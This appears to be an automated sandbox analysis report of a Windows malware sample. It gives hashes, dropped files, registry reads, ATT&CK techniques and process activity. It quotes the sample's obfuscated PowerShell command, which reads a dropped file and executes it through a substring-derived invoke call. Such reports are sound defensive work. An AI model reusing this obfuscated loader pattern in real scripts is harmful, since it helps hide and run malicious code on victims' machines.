5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18/02/2025, 14:17

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General

Target

046s01900330081250b4057885818022025.exe
Size

616KB
MD5

d22d9212a0c0f8f3d45689c1161da1b2
SHA1

381e5444e3e5bfa0ecf3eafeaa4e02b15f0c370e
SHA256

5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58
SHA512

fdd7fccc65d4cb04b3999322c907708dea0615f1435ccce076a63a3ac4e50d950f5b1eab0758e72d0e702f04e6045093814ff5f4c573a4e3c9c58b208869aacd
SSDEEP

12288:vg2VsqLvsk/6SqKDJk8d+WRtsK/5uJWev4XOqepjOEAGQjW:vg2V1L0kCItphleQXwFrfEW

Score

7^/10

discovery execution

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
2248	046s01900330081250b4057885818022025.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\thiopentone.lnk	046s01900330081250b4057885818022025.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\eternittage\bremses.uly	046s01900330081250b4057885818022025.exe
File opened for modification	C:\Windows\osmious.cor	046s01900330081250b4057885818022025.exe
File opened for modification	C:\Windows\resources\Edrioasteroid156.sma	046s01900330081250b4057885818022025.exe
File opened for modification	C:\Windows\resources\0409\nonperversity\Importableness.scr	046s01900330081250b4057885818022025.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	046s01900330081250b4057885818022025.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2508	2248	046s01900330081250b4057885818022025.exe	29
PID 2248 wrote to memory of 2508	2248	046s01900330081250b4057885818022025.exe	29
PID 2248 wrote to memory of 2508	2248	046s01900330081250b4057885818022025.exe	29
PID 2248 wrote to memory of 2508	2248	046s01900330081250b4057885818022025.exe	29

C:\Users\Admin\AppData\Local\Temp\046s01900330081250b4057885818022025.exe
"C:\Users\Admin\AppData\Local\Temp\046s01900330081250b4057885818022025.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Unepic=gc -Raw 'C:\Users\Admin\AppData\Local\Temp\siller\Pillowing\robotise\Oplagringers.Sti';$Kaffehandlerens=$Unepic.SubString(57847,3);.$Kaffehandlerens($Unepic)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsjC2B5.tmp\nsExec.dll

Filesize
7KB

MD5
4c77a65bb121bb7f2910c1fa3cb38337

SHA1
94531e3c6255125c1a85653174737d275bc35838

SHA256
5e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe

SHA512
df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04

Download Submit
memory/2508-25-0x0000000073861000-0x0000000073862000-memory.dmp

Filesize
4KB

Download
memory/2508-27-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2508-26-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2508-28-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2508-29-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2508-30-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download